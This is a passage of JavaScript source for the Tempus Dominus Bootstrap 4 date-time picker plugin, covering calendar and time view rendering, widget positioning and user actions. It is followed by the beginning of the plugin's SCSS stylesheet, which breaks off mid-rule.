'data-action': 'close', 'title': this._options.tooltips.close }).append($('<span>').addClass(this._options.icons.close)))); } return row.length === 0 ? '' : $('<table>').addClass('table-condensed').append($('<tbody>').append($('<tr>').append(row))); } _getTemplate() { const template = $('<div>').addClass('bootstrap-datetimepicker-widget dropdown-menu'), dateView = $('<div>').addClass('datepicker').append(this._getDatePickerTemplate()), timeView = $('<div>').addClass('timepicker').append(this._getTimePickerTemplate()), content = $('<ul>').addClass('list-unstyled'), toolbar = $('<li>').addClass(`picker-switch${this._options.collapse ? ' accordion-toggle' : ''}`).append(this._getToolbar()); if (this._options.inline) { template.removeClass('dropdown-menu'); } if (this.use24Hours) { template.addClass('usetwentyfour'); } if (this._isEnabled('s') && !this.use24Hours) { template.addClass('wider'); } if (this._options.sideBySide && this._hasDate() && this._hasTime()) { template.addClass('timepicker-sbs'); if (this._options.toolbarPlacement === 'top') { template.append(toolbar); } template.append($('<div>').addClass('row').append(dateView.addClass('col-md-6')).append(timeView.addClass('col-md-6'))); if (this._options.toolbarPlacement === 'bottom' || this._options.toolbarPlacement === 'default') { template.append(toolbar); } return template; } if (this._options.toolbarPlacement === 'top') { content.append(toolbar); } if (this._hasDate()) { content.append($('<li>').addClass(this._options.collapse && this._hasTime() ? 'collapse' : '') .addClass((this._options.collapse && this._hasTime() && this._options.viewMode === 'times' ? '' : 'show')) .append(dateView)); } if (this._options.toolbarPlacement === 'default') { content.append(toolbar); } if (this._hasTime()) { content.append($('<li>').addClass(this._options.collapse && this._hasDate() ? 'collapse' : '') .addClass((this._options.collapse && this._hasDate() && this._options.viewMode === 'times' ? 'show' : '')) .append(timeView)); } if (this._options.toolbarPlacement === 'bottom') { content.append(toolbar); } return template.append(content); } _place(e) { let self = (e && e.data && e.data.picker) || this, vertical = self._options.widgetPositioning.vertical, horizontal = self._options.widgetPositioning.horizontal, parent; const position = (self.component && self.component.length ? self.component : self._element).position(), offset = (self.component && self.component.length ? self.component : self._element).offset(); if (self._options.widgetParent) { parent = self._options.widgetParent.append(self.widget); } else if (self._element.is('input')) { parent = self._element.after(self.widget).parent(); } else if (self._options.inline) { parent = self._element.append(self.widget); return; } else { parent = self._element; self._element.children().first().after(self.widget); } // Top and bottom logic if (vertical === 'auto') { //noinspection JSValidateTypes if (offset.top + self.widget.height() * 1.5 >= $(window).height() + $(window).scrollTop() && self.widget.height() + self._element.outerHeight() < offset.top) { vertical = 'top'; } else { vertical = 'bottom'; } } // Left and right logic if (horizontal === 'auto') { if (parent.width() < offset.left + self.widget.outerWidth() / 2 && offset.left + self.widget.outerWidth() > $(window).width()) { horizontal = 'right'; } else { horizontal = 'left'; } } if (vertical === 'top') { self.widget.addClass('top').removeClass('bottom'); } else { self.widget.addClass('bottom').removeClass('top'); } if (horizontal === 'right') { self.widget.addClass('float-right'); } else { self.widget.removeClass('float-right'); } // find the first parent element that has a relative css positioning if (parent.css('position') !== 'relative') { parent = parent.parents().filter(function () { return $(this).css('position') === 'relative'; }).first(); } if (parent.length === 0) { throw new Error('datetimepicker component should be placed within a relative positioned container'); } self.widget.css({ top: vertical === 'top' ? 'auto' : position.top + self._element.outerHeight() + 'px', bottom: vertical === 'top' ? parent.outerHeight() - (parent === self._element ? 0 : position.top) + 'px' : 'auto', left: horizontal === 'left' ? (parent === self._element ? 0 : position.left) + 'px' : 'auto', right: horizontal === 'left' ? 'auto' : parent.outerWidth() - self._element.outerWidth() - (parent === self._element ? 0 : position.left) + 'px' }); } _fillDow() { const row = $('<tr>'), currentDate = this._viewDate.clone().startOf('w').startOf('d'); if (this._options.calendarWeeks === true) { row.append($('<th>').addClass('cw').text('#')); } while (currentDate.isBefore(this._viewDate.clone().endOf('w'))) { row.append($('<th>').addClass('dow').text(currentDate.format('dd'))); currentDate.add(1, 'd'); } this.widget.find('.datepicker-days thead').append(row); } _fillMonths() { const spans = [], monthsShort = this._viewDate.clone().startOf('y').startOf('d'); while (monthsShort.isSame(this._viewDate, 'y')) { spans.push($('<span>').attr('data-action', 'selectMonth').addClass('month').text(monthsShort.format('MMM'))); monthsShort.add(1, 'M'); } this.widget.find('.datepicker-months td').empty().append(spans); } _updateMonths() { const monthsView = this.widget.find('.datepicker-months'), monthsViewHeader = monthsView.find('th'), months = monthsView.find('tbody').find('span'), self = this; monthsViewHeader.eq(0).find('span').attr('title', this._options.tooltips.prevYear); monthsViewHeader.eq(1).attr('title', this._options.tooltips.selectYear); monthsViewHeader.eq(2).find('span').attr('title', this._options.tooltips.nextYear); monthsView.find('.disabled').removeClass('disabled'); if (!this._isValid(this._viewDate.clone().subtract(1, 'y'), 'y')) { monthsViewHeader.eq(0).addClass('disabled'); } monthsViewHeader.eq(1).text(this._viewDate.year()); if (!this._isValid(this._viewDate.clone().add(1, 'y'), 'y')) { monthsViewHeader.eq(2).addClass('disabled'); } months.removeClass('active'); if (this._getLastPickedDate().isSame(this._viewDate, 'y') && !this.unset) { months.eq(this._getLastPickedDate().month()).addClass('active'); } months.each(function (index) { if (!self._isValid(self._viewDate.clone().month(index), 'M')) { $(this).addClass('disabled'); } }); } _getStartEndYear(factor, year) { const step = factor / 10, startYear = Math.floor(year / factor) * factor, endYear = startYear + step * 9, focusValue = Math.floor(year / step) * step; return [startYear, endYear, focusValue]; } _updateYears() { const yearsView = this.widget.find('.datepicker-years'), yearsViewHeader = yearsView.find('th'), yearCaps = this._getStartEndYear(10, this._viewDate.year()), startYear = this._viewDate.clone().year(yearCaps[0]), endYear = this._viewDate.clone().year(yearCaps[1]); let html = ''; yearsViewHeader.eq(0).find('span').attr('title', this._options.tooltips.prevDecade); yearsViewHeader.eq(1).attr('title', this._options.tooltips.selectDecade); yearsViewHeader.eq(2).find('span').attr('title', this._options.tooltips.nextDecade); yearsView.find('.disabled').removeClass('disabled'); if (this._options.minDate && this._options.minDate.isAfter(startYear, 'y')) { yearsViewHeader.eq(0).addClass('disabled'); } yearsViewHeader.eq(1).text(`${startYear.year()}-${endYear.year()}`); if (this._options.maxDate && this._options.maxDate.isBefore(endYear, 'y')) { yearsViewHeader.eq(2).addClass('disabled'); } html += `<span data-action="selectYear" class="year old${!this._isValid(startYear, 'y') ? ' disabled' : ''}">${startYear.year() - 1}</span>`; while (!startYear.isAfter(endYear, 'y')) { html += `<span data-action="selectYear" class="year${startYear.isSame(this._getLastPickedDate(), 'y') && !this.unset ? ' active' : ''}${!this._isValid(startYear, 'y') ? ' disabled' : ''}">${startYear.year()}</span>`; startYear.add(1, 'y'); } html += `<span data-action="selectYear" class="year old${!this._isValid(startYear, 'y') ? ' disabled' : ''}">${startYear.year()}</span>`; yearsView.find('td').html(html); } _updateDecades() { const decadesView = this.widget.find('.datepicker-decades'), decadesViewHeader = decadesView.find('th'), yearCaps = this._getStartEndYear(100, this._viewDate.year()), startDecade = this._viewDate.clone().year(yearCaps[0]), endDecade = this._viewDate.clone().year(yearCaps[1]); let minDateDecade = false, maxDateDecade = false, endDecadeYear, html = ''; decadesViewHeader.eq(0).find('span').attr('title', this._options.tooltips.prevCentury); decadesViewHeader.eq(2).find('span').attr('title', this._options.tooltips.nextCentury); decadesView.find('.disabled').removeClass('disabled'); if (startDecade.year() === 0 || this._options.minDate && this._options.minDate.isAfter(startDecade, 'y')) { decadesViewHeader.eq(0).addClass('disabled'); } decadesViewHeader.eq(1).text(`${startDecade.year()}-${endDecade.year()}`); if (this._options.maxDate && this._options.maxDate.isBefore(endDecade, 'y')) { decadesViewHeader.eq(2).addClass('disabled'); } if (startDecade.year() - 10 < 0) { html += '<span> </span>'; } else { html += `<span data-action="selectDecade" class="decade old" data-selection="${startDecade.year() + 6}">${startDecade.year() - 10}</span>`; } while (!startDecade.isAfter(endDecade, 'y')) { endDecadeYear = startDecade.year() + 11; minDateDecade = this._options.minDate && this._options.minDate.isAfter(startDecade, 'y') && this._options.minDate.year() <= endDecadeYear; maxDateDecade = this._options.maxDate && this._options.maxDate.isAfter(startDecade, 'y') && this._options.maxDate.year() <= endDecadeYear; html += `<span data-action="selectDecade" class="decade${this._getLastPickedDate().isAfter(startDecade) && this._getLastPickedDate().year() <= endDecadeYear ? ' active' : ''}${!this._isValid(startDecade, 'y') && !minDateDecade && !maxDateDecade ? ' disabled' : ''}" data-selection="${startDecade.year() + 6}">${startDecade.year()}</span>`; startDecade.add(10, 'y'); } html += `<span data-action="selectDecade" class="decade old" data-selection="${startDecade.year() + 6}">${startDecade.year()}</span>`; decadesView.find('td').html(html); } _fillDate() { const daysView = this.widget.find('.datepicker-days'), daysViewHeader = daysView.find('th'), html = []; let currentDate, row, clsName, i; if (!this._hasDate()) { return; } daysViewHeader.eq(0).find('span').attr('title', this._options.tooltips.prevMonth); daysViewHeader.eq(1).attr('title', this._options.tooltips.selectMonth); daysViewHeader.eq(2).find('span').attr('title', this._options.tooltips.nextMonth); daysView.find('.disabled').removeClass('disabled'); daysViewHeader.eq(1).text(this._viewDate.format(this._options.dayViewHeaderFormat)); if (!this._isValid(this._viewDate.clone().subtract(1, 'M'), 'M')) { daysViewHeader.eq(0).addClass('disabled'); } if (!this._isValid(this._viewDate.clone().add(1, 'M'), 'M')) { daysViewHeader.eq(2).addClass('disabled'); } currentDate = this._viewDate.clone().startOf('M').startOf('w').startOf('d'); for (i = 0; i < 42; i++) { //always display 42 days (should show 6 weeks) if (currentDate.weekday() === 0) { row = $('<tr>'); if (this._options.calendarWeeks) { row.append(`<td class="cw">${currentDate.week()}</td>`); } html.push(row); } clsName = ''; if (currentDate.isBefore(this._viewDate, 'M')) { clsName += ' old'; } if (currentDate.isAfter(this._viewDate, 'M')) { clsName += ' new'; } if (this._options.allowMultidate) { var index = this._datesFormatted.indexOf(currentDate.format('YYYY-MM-DD')); if (index !== -1) { if (currentDate.isSame(this._datesFormatted[index], 'd') && !this.unset) { clsName += ' active'; } } } else { if (currentDate.isSame(this._getLastPickedDate(), 'd') && !this.unset) { clsName += ' active'; } } if (!this._isValid(currentDate, 'd')) { clsName += ' disabled'; } if (currentDate.isSame(this.getMoment(), 'd')) { clsName += ' today'; } if (currentDate.day() === 0 || currentDate.day() === 6) { clsName += ' weekend'; } row.append(`<td data-action="selectDay" data-day="${currentDate.format('L')}" class="day${clsName}">${currentDate.date()}</td>`); currentDate.add(1, 'd'); } daysView.find('tbody').empty().append(html); this._updateMonths(); this._updateYears(); this._updateDecades(); } _fillHours() { const table = this.widget.find('.timepicker-hours table'), currentHour = this._viewDate.clone().startOf('d'), html = []; let row = $('<tr>'); if (this._viewDate.hour() > 11 && !this.use24Hours) { currentHour.hour(12); } while (currentHour.isSame(this._viewDate, 'd') && (this.use24Hours || this._viewDate.hour() < 12 && currentHour.hour() < 12 || this._viewDate.hour() > 11)) { if (currentHour.hour() % 4 === 0) { row = $('<tr>'); html.push(row); } row.append(`<td data-action="selectHour" class="hour${!this._isValid(currentHour, 'h') ? ' disabled' : ''}">${currentHour.format(this.use24Hours ? 'HH' : 'hh')}</td>`); currentHour.add(1, 'h'); } table.empty().append(html); } _fillMinutes() { const table = this.widget.find('.timepicker-minutes table'), currentMinute = this._viewDate.clone().startOf('h'), html = [], step = this._options.stepping === 1 ? 5 : this._options.stepping; let row = $('<tr>'); while (this._viewDate.isSame(currentMinute, 'h')) { if (currentMinute.minute() % (step * 4) === 0) { row = $('<tr>'); html.push(row); } row.append(`<td data-action="selectMinute" class="minute${!this._isValid(currentMinute, 'm') ? ' disabled' : ''}">${currentMinute.format('mm')}</td>`); currentMinute.add(step, 'm'); } table.empty().append(html); } _fillSeconds() { const table = this.widget.find('.timepicker-seconds table'), currentSecond = this._viewDate.clone().startOf('m'), html = []; let row = $('<tr>'); while (this._viewDate.isSame(currentSecond, 'm')) { if (currentSecond.second() % 20 === 0) { row = $('<tr>'); html.push(row); } row.append(`<td data-action="selectSecond" class="second${!this._isValid(currentSecond, 's') ? ' disabled' : ''}">${currentSecond.format('ss')}</td>`); currentSecond.add(5, 's'); } table.empty().append(html); } _fillTime() { let toggle, newDate; const timeComponents = this.widget.find('.timepicker span[data-time-component]'); if (!this.use24Hours) { toggle = this.widget.find('.timepicker [data-action=togglePeriod]'); newDate = this._getLastPickedDate().clone().add(this._getLastPickedDate().hours() >= 12 ? -12 : 12, 'h'); toggle.text(this._getLastPickedDate().format('A')); if (this._isValid(newDate, 'h')) { toggle.removeClass('disabled'); } else { toggle.addClass('disabled'); } } timeComponents.filter('[data-time-component=hours]').text(this._getLastPickedDate().format(`${this.use24Hours ? 'HH' : 'hh'}`)); timeComponents.filter('[data-time-component=minutes]').text(this._getLastPickedDate().format('mm')); timeComponents.filter('[data-time-component=seconds]').text(this._getLastPickedDate().format('ss')); this._fillHours(); this._fillMinutes(); this._fillSeconds(); } _doAction(e, action) { let lastPicked = this._getLastPickedDate(); if ($(e.currentTarget).is('.disabled')) { return false; } action = action || $(e.currentTarget).data('action'); switch (action) { case 'next': { const navFnc = DateTimePicker.DatePickerModes[this.currentViewMode].NAV_FUNCTION; this._viewDate.add(DateTimePicker.DatePickerModes[this.currentViewMode].NAV_STEP, navFnc); this._fillDate(); this._viewUpdate(navFnc); break; } case 'previous': { const navFnc = DateTimePicker.DatePickerModes[this.currentViewMode].NAV_FUNCTION; this._viewDate.subtract(DateTimePicker.DatePickerModes[this.currentViewMode].NAV_STEP, navFnc); this._fillDate(); this._viewUpdate(navFnc); break; } case 'pickerSwitch': this._showMode(1); break; case 'selectMonth': { const month = $(e.target).closest('tbody').find('span').index($(e.target)); this._viewDate.month(month); if (this.currentViewMode === this.MinViewModeNumber) { this._setValue(lastPicked.clone().year(this._viewDate.year()).month(this._viewDate.month()), this._getLastPickedDateIndex()); if (!this._options.inline) { this.hide(); } } else { this._showMode(-1); this._fillDate(); } this._viewUpdate('M'); break; } case 'selectYear': { const year = parseInt($(e.target).text(), 10) || 0; this._viewDate.year(year); if (this.currentViewMode === this.MinViewModeNumber) { this._setValue(lastPicked.clone().year(this._viewDate.year()), this._getLastPickedDateIndex()); if (!this._options.inline) { this.hide(); } } else { this._showMode(-1); this._fillDate(); } this._viewUpdate('YYYY'); break; } case 'selectDecade': { const year = parseInt($(e.target).data('selection'), 10) || 0; this._viewDate.year(year); if (this.currentViewMode === this.MinViewModeNumber) { this._setValue(lastPicked.clone().year(this._viewDate.year()), this._getLastPickedDateIndex()); if (!this._options.inline) { this.hide(); } } else { this._showMode(-1); this._fillDate(); } this._viewUpdate('YYYY'); break; } case 'selectDay': { const day = this._viewDate.clone(); if ($(e.target).is('.old')) { day.subtract(1, 'M'); } if ($(e.target).is('.new')) { day.add(1, 'M'); } var selectDate = day.date(parseInt($(e.target).text(), 10)), index = 0; if (this._options.allowMultidate) { index = this._datesFormatted.indexOf(selectDate.format('YYYY-MM-DD')); if (index !== -1) { this._setValue(null, index); //deselect multidate } else { this._setValue(selectDate, this._getLastPickedDateIndex() + 1); } } else { this._setValue(selectDate, this._getLastPickedDateIndex()); } if (!this._hasTime() && !this._options.keepOpen && !this._options.inline && !this._options.allowMultidate) { this.hide(); } break; } case 'incrementHours': { const newDate = lastPicked.clone().add(1, 'h'); if (this._isValid(newDate, 'h')) { this._setValue(newDate, this._getLastPickedDateIndex()); } break; } case 'incrementMinutes': { const newDate = lastPicked.clone().add(this._options.stepping, 'm'); if (this._isValid(newDate, 'm')) { this._setValue(newDate, this._getLastPickedDateIndex()); } break; } case 'incrementSeconds': { const newDate = lastPicked.clone().add(1, 's'); if (this._isValid(newDate, 's')) { this._setValue(newDate, this._getLastPickedDateIndex()); } break; } case 'decrementHours': { const newDate = lastPicked.clone().subtract(1, 'h'); if (this._isValid(newDate, 'h')) { this._setValue(newDate, this._getLastPickedDateIndex()); } break; } case 'decrementMinutes': { const newDate = lastPicked.clone().subtract(this._options.stepping, 'm'); if (this._isValid(newDate, 'm')) { this._setValue(newDate, this._getLastPickedDateIndex()); } break; } case 'decrementSeconds': { const newDate = lastPicked.clone().subtract(1, 's'); if (this._isValid(newDate, 's')) { this._setValue(newDate, this._getLastPickedDateIndex()); } break; } case 'togglePeriod': { this._setValue(lastPicked.clone().add(lastPicked.hours() >= 12 ? -12 : 12, 'h'), this._getLastPickedDateIndex()); break; } case 'togglePicker': { const $this = $(e.target), $link = $this.closest('a'), $parent = $this.closest('ul'), expanded = $parent.find('.show'), closed = $parent.find('.collapse:not(.show)'), $span = $this.is('span') ? $this : $this.find('span'); let collapseData; if (expanded && expanded.length) { collapseData = expanded.data('collapse'); if (collapseData && collapseData.transitioning) { return true; } if (expanded.collapse) { // if collapse plugin is available through bootstrap.js then use it expanded.collapse('hide'); closed.collapse('show'); } else { // otherwise just toggle in class on the two views expanded.removeClass('show'); closed.addClass('show'); } $span.toggleClass(this._options.icons.time + ' ' + this._options.icons.date); if ($span.hasClass(this._options.icons.date)) { $link.attr('title', this._options.tooltips.selectDate); } else { $link.attr('title', this._options.tooltips.selectTime); } } } break; case 'showPicker': this.widget.find('.timepicker > div:not(.timepicker-picker)').hide(); this.widget.find('.timepicker .timepicker-picker').show(); break; case 'showHours': this.widget.find('.timepicker .timepicker-picker').hide(); this.widget.find('.timepicker .timepicker-hours').show(); break; case 'showMinutes': this.widget.find('.timepicker .timepicker-picker').hide(); this.widget.find('.timepicker .timepicker-minutes').show(); break; case 'showSeconds': this.widget.find('.timepicker .timepicker-picker').hide(); this.widget.find('.timepicker .timepicker-seconds').show(); break; case 'selectHour': { let hour = parseInt($(e.target).text(), 10); if (!this.use24Hours) { if (lastPicked.hours() >= 12) { if (hour !== 12) { hour += 12; } } else { if (hour === 12) { hour = 0; } } } this._setValue(lastPicked.clone().hours(hour), this._getLastPickedDateIndex()); if (!this._isEnabled('a') && !this._isEnabled('m') && !this._options.keepOpen && !this._options.inline) { this.hide(); } else { this._doAction(e, 'showPicker'); } break; } case 'selectMinute': this._setValue(lastPicked.clone().minutes(parseInt($(e.target).text(), 10)), this._getLastPickedDateIndex()); if (!this._isEnabled('a') && !this._isEnabled('s') && !this._options.keepOpen && !this._options.inline) { this.hide(); } else { this._doAction(e, 'showPicker'); } break; case 'selectSecond': this._setValue(lastPicked.clone().seconds(parseInt($(e.target).text(), 10)), this._getLastPickedDateIndex()); if (!this._isEnabled('a') && !this._options.keepOpen && !this._options.inline) { this.hide(); } else { this._doAction(e, 'showPicker'); } break; case 'clear': this.clear(); break; case 'close': this.hide(); break; case 'today': { const todaysDate = this.getMoment(); if (this._isValid(todaysDate, 'd')) { this._setValue(todaysDate, this._getLastPickedDateIndex()); } break; } } return false; } //public hide() { let transitioning = false; if (!this.widget) { return; } // Ignore event if in the middle of a picker transition this.widget.find('.collapse').each(function () { const collapseData = $(this).data('collapse'); if (collapseData && collapseData.transitioning) { transitioning = true; return false; } return true; }); if (transitioning) { return; } if (this.component && this.component.hasClass('btn')) { this.component.toggleClass('active'); } this.widget.hide(); $(window).off('resize', this._place()); this.widget.off('click', '[data-action]'); this.widget.off('mousedown', false); this.widget.remove(); this.widget = false; this._notifyEvent({ type: DateTimePicker.Event.HIDE, date: this._getLastPickedDate().clone() }); if (this.input !== undefined) { this.input.blur(); } this._viewDate = this._getLastPickedDate().clone(); } show() { let currentMoment; const useCurrentGranularity = { 'year': function (m) { return m.month(0).date(1).hours(0).seconds(0).minutes(0); }, 'month': function (m) { return m.date(1).hours(0).seconds(0).minutes(0); }, 'day': function (m) { return m.hours(0).seconds(0).minutes(0); }, 'hour': function (m) { return m.seconds(0).minutes(0); }, 'minute': function (m) { return m.seconds(0); } }; if (this.input !== undefined) { if (this.input.prop('disabled') || !this._options.ignoreReadonly && this.input.prop('readonly') || this.widget) { return; } if (this.input.val() !== undefined && this.input.val().trim().length !== 0) { this._setValue(this._parseInputDate(this.input.val().trim()), 0); } else if (this.unset && this._options.useCurrent) { currentMoment = this.getMoment(); if (typeof this._options.useCurrent === 'string') { currentMoment = useCurrentGranularity[this._options.useCurrent](currentMoment); } this._setValue(currentMoment, 0); } } else if (this.unset && this._options.useCurrent) { currentMoment = this.getMoment(); if (typeof this._options.useCurrent === 'string') { currentMoment = useCurrentGranularity[this._options.useCurrent](currentMoment); } this._setValue(currentMoment, 0); } this.widget = this._getTemplate(); this._fillDow(); this._fillMonths(); this.widget.find('.timepicker-hours').hide(); this.widget.find('.timepicker-minutes').hide(); this.widget.find('.timepicker-seconds').hide(); this._update(); this._showMode(); $(window).on('resize', { picker: this }, this._place); this.widget.on('click', '[data-action]', $.proxy(this._doAction, this)); // this handles clicks on the widget this.widget.on('mousedown', false); if (this.component && this.component.hasClass('btn')) { this.component.toggleClass('active'); } this._place(); this.widget.show(); if (this.input !== undefined && this._options.focusOnShow && !this.input.is(':focus')) { this.input.focus(); } this._notifyEvent({ type: DateTimePicker.Event.SHOW }); } destroy() { this.hide(); //todo doc off? this._element.removeData(DateTimePicker.DATA_KEY); this._element.removeData('date'); } disable() { this.hide(); if (this.component && this.component.hasClass('btn')) { this.component.addClass('disabled'); } if (this.input !== undefined) { this.input.prop('disabled', true); //todo disable this/comp if input is null } } enable() { if (this.component && this.component.hasClass('btn')) { this.component.removeClass('disabled'); } if (this.input !== undefined) { this.input.prop('disabled', false); //todo enable comp/this if input is null } } toolbarPlacement(toolbarPlacement) { if (arguments.length === 0) { return this._options.toolbarPlacement; } if (typeof toolbarPlacement !== 'string') { throw new TypeError('toolbarPlacement() expects a string parameter'); } if (toolbarPlacements.indexOf(toolbarPlacement) === -1) { throw new TypeError(`toolbarPlacement() parameter must be one of (${toolbarPlacements.join(', ')}) value`); } this._options.toolbarPlacement = toolbarPlacement; if (this.widget) { this.hide(); this.show(); } } widgetPositioning(widgetPositioning) { if (arguments.length === 0) { return $.extend({}, this._options.widgetPositioning); } if ({}.toString.call(widgetPositioning) !== '[object Object]') { throw new TypeError('widgetPositioning() expects an object variable'); } if (widgetPositioning.horizontal) { if (typeof widgetPositioning.horizontal !== 'string') { throw new TypeError('widgetPositioning() horizontal variable must be a string'); } widgetPositioning.horizontal = widgetPositioning.horizontal.toLowerCase(); if (horizontalModes.indexOf(widgetPositioning.horizontal) === -1) { throw new TypeError(`widgetPositioning() expects horizontal parameter to be one of (${horizontalModes.join(', ')})`); } this._options.widgetPositioning.horizontal = widgetPositioning.horizontal; } if (widgetPositioning.vertical) { if (typeof widgetPositioning.vertical !== 'string') { throw new TypeError('widgetPositioning() vertical variable must be a string'); } widgetPositioning.vertical = widgetPositioning.vertical.toLowerCase(); if (verticalModes.indexOf(widgetPositioning.vertical) === -1) { throw new TypeError(`widgetPositioning() expects vertical parameter to be one of (${verticalModes.join(', ')})`); } this._options.widgetPositioning.vertical = widgetPositioning.vertical; } this._update(); } widgetParent(widgetParent) { if (arguments.length === 0) { return this._options.widgetParent; } if (typeof widgetParent === 'string') { widgetParent = $(widgetParent); } if (widgetParent !== null && typeof widgetParent !== 'string' && !(widgetParent instanceof $)) { throw new TypeError('widgetParent() expects a string or a jQuery object parameter'); } this._options.widgetParent = widgetParent; if (this.widget) { this.hide(); this.show(); } } //static static _jQueryHandleThis(me, option, argument) { let data = $(me).data(DateTimePicker.DATA_KEY); if (typeof option === 'object') { $.extend({}, DateTimePicker.Default, option); } if (!data) { data = new TempusDominusBootstrap4($(me), option); $(me).data(DateTimePicker.DATA_KEY, data); } if (typeof option === 'string') { if (data[option] === undefined) { throw new Error(`No method named "${option}"`); } if (argument === undefined) { return data[option](); } else { return data[option](argument); } } } static _jQueryInterface(option, argument) { if (this.length === 1) { return TempusDominusBootstrap4._jQueryHandleThis(this[0], option, argument); } return this.each(function () { TempusDominusBootstrap4._jQueryHandleThis(this, option, argument); }); } } /** * ------------------------------------------------------------------------ * jQuery * ------------------------------------------------------------------------ */ $(document).on(DateTimePicker.Event.CLICK_DATA_API, DateTimePicker.Selector.DATA_TOGGLE, function () { const $target = getSelectorFromElement($(this)); if ($target.length === 0) { return; } TempusDominusBootstrap4._jQueryInterface.call($target, 'toggle'); }).on(DateTimePicker.Event.CHANGE, `.${DateTimePicker.ClassName.INPUT}`, function (event) { const $target = getSelectorFromElement($(this)); if ($target.length === 0) { return; } TempusDominusBootstrap4._jQueryInterface.call($target, '_change', event); }).on(DateTimePicker.Event.BLUR, `.${DateTimePicker.ClassName.INPUT}`, function (event) { const $target = getSelectorFromElement($(this)), config = $target.data(DateTimePicker.DATA_KEY); if ($target.length === 0) { return; } if (config._options.debug || window.debug) { return; } TempusDominusBootstrap4._jQueryInterface.call($target, 'hide', event); }).on(DateTimePicker.Event.KEYDOWN, `.${DateTimePicker.ClassName.INPUT}`, function (event) { const $target = getSelectorFromElement($(this)); if ($target.length === 0) { return; } TempusDominusBootstrap4._jQueryInterface.call($target, '_keydown', event); }).on(DateTimePicker.Event.KEYUP, `.${DateTimePicker.ClassName.INPUT}`, function (event) { const $target = getSelectorFromElement($(this)); if ($target.length === 0) { return; } TempusDominusBootstrap4._jQueryInterface.call($target, '_keyup', event); }).on(DateTimePicker.Event.FOCUS, `.${DateTimePicker.ClassName.INPUT}`, function (event) { const $target = getSelectorFromElement($(this)), config = $target.data(DateTimePicker.DATA_KEY); if ($target.length === 0) { return; } if (!config._options.allowInputToggle) { return; } TempusDominusBootstrap4._jQueryInterface.call($target, 'show', event); }); $.fn[DateTimePicker.NAME] = TempusDominusBootstrap4._jQueryInterface; $.fn[DateTimePicker.NAME].Constructor = TempusDominusBootstrap4; $.fn[DateTimePicker.NAME].noConflict = function () { $.fn[DateTimePicker.NAME] = JQUERY_NO_CONFLICT; return TempusDominusBootstrap4._jQueryInterface; }; return TempusDominusBootstrap4; })(jQuery); sass/_tempusdominus-bootstrap-4.scss000064400000021716151677263570013673 0ustar00$bs-datetimepicker-timepicker-font-size: 1.2em !default; $bs-datetimepicker-active-bg: $blue !default; $bs-datetimepicker-active-color: $white !default; $bs-datetimepicker-border-radius: $border-radius !default; $bs-datetimepicker-btn-hover-bg: $gray-200 !default; $bs-datetimepicker-disabled-color: $gray-600 !default; $bs-datetimepicker-alternate-color: $gray-600 !default; $bs-datetimepicker-secondary-border-color: #ccc !default; $bs-datetimepicker-secondary-border-color-rgba: rgba(0, 0, 0, 0.2) !default; $bs-datetimepicker-primary-border-color: white !default; $bs-datetimepicker-text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25) !default; .bootstrap-datetimepicker-widget { list-style: none; &.dropdown-menu { display: block; margin: 2px 0; padding: 4px; width: 14rem; &.timepicker-sbs { @media (min-width: map-get($grid-breakpoints, 'sm')) { width: 38em; } @media (min-width: map-get($grid-breakpoints, 'md')) { width: 38em; } @media (min-width: map-get($grid-breakpoints, 'lg')) { width: 38em; } } &:before, &:after { content: ''; display: inline-block; position: absolute; } &.bottom { &:before { border-left: 7px solid transparent; border-right: 7px solid transparent; border-bottom: 7px solid $bs-datetimepicker-secondary-border-color; border-bottom-color: $bs-datetimepicker-secondary-border-color-rgba; top: -7px; left: 7px; } &:after { border-left: 6px solid transparent; border-right: 6px solid transparent; border-bottom: 6px solid $bs-datetimepicker-primary-border-color; top: -6px; left: 8px; } } &.top { &:before { border-left: 7px solid transparent; border-right: 7px solid transparent; border-top: 7px solid $bs-datetimepicker-secondary-border-color; border-top-color: $bs-datetimepicker-secondary-border-color-rgba; bottom: -7px; left: 6px; } &:after { border-left: 6px solid transparent; border-right: 6px solid transparent; border-top: 6px solid $bs-datetimepicker-primary-border-color; bottom: -6px; left: 7px; } } &.float-right { &:before { left: auto; right: 6px; } &:after { left: auto; right: 7px; } } &.wider { width: 16rem; } } .list-unstyled { margin: 0; } a[data-action] { padding: 6px 0; } a[data-action]:active { box-shadow: none; } .timepicker-hour, .timepicker-minute, .timepicker-second { width: 54px; font-weight: bold; font-size: $bs-datetimepicker-timepicker-font-size; margin: 0; } button[data-action] { padding: 6px; } .btn[data-action="incrementHours"]::after { @extend .sr-only; content: "Increment Hours"; } .btn[data-action="incrementMinutes"]::after { @extend .sr-only; content: "Increment Minutes"; } .btn[data-action="decrementHours"]::after { @extend .sr-only; content: "Decrement Hours"; } .btn[data-action="decrementMinutes"]::after { @extend .sr-only; content: "Decrement Minutes"; } .btn[data-action="showHours"]::after { @extend .sr-only; content: "Show Hours"; } .btn[data-action="showMinutes"]::after { @extend .sr-only; content: "Show Minutes"; } .btn[data-action="togglePeriod"]::after { @extend .sr-only; content: "Toggle AM/PM"; } .btn[data-action="clear"]::after { @extend .sr-only; content: "Clear the picker"; } .btn[data-action="today"]::after { @extend .sr-only; content: "Set the date to today"; } .picker-switch { text-align: center; &::after { @extend .sr-only; content: "Toggle Date and Time Screens"; } td { padding: 0; margin: 0; height: auto; width: auto; line-height: inherit; span { line-height: 2.5; height: 2.5em; width: 100%; } } } table { width: 100%; margin: 0; & td, & th { text-align: center; border-radius: $bs-datetimepicker-border-radius; } & th { height: 20px; line-height: 20px; width: 20px; &.picker-switch { width: 145px; } &.disabled, &.disabled:hover { background: none; color: $bs-datetimepicker-disabled-color; cursor: not-allowed; } &.prev::after { @extend .sr-only; content: "Previous Month"; } &.next::after { @extend .sr-only; content: "Next Month"; } } & thead tr:first-child th { cursor: pointer; &:hover { background: $bs-datetimepicker-btn-hover-bg; } } & td { height: 54px; line-height: 54px; width: 54px; &.cw { font-size: .8em; height: 20px; line-height: 20px; color: $bs-datetimepicker-alternate-color; } &.day { height: 20px; line-height: 20px; width: 20px; } &.day:hover, &.hour:hover, &.minute:hover, &.second:hover { background: $bs-datetimepicker-btn-hover-bg; cursor: pointer; } &.old, &.new { color: $bs-datetimepicker-alternate-color; } &.today { position: relative; &:before { content: ''; display: inline-block; border: solid transparent; border-width: 0 0 7px 7px; border-bottom-color: $bs-datetimepicker-active-bg; border-top-color: $bs-datetimepicker-secondary-border-color-rgba; position: absolute; bottom: 4px; right: 4px; } } &.active, &.active:hover { background-color: $bs-datetimepicker-active-bg; color: $bs-datetimepicker-active-color; 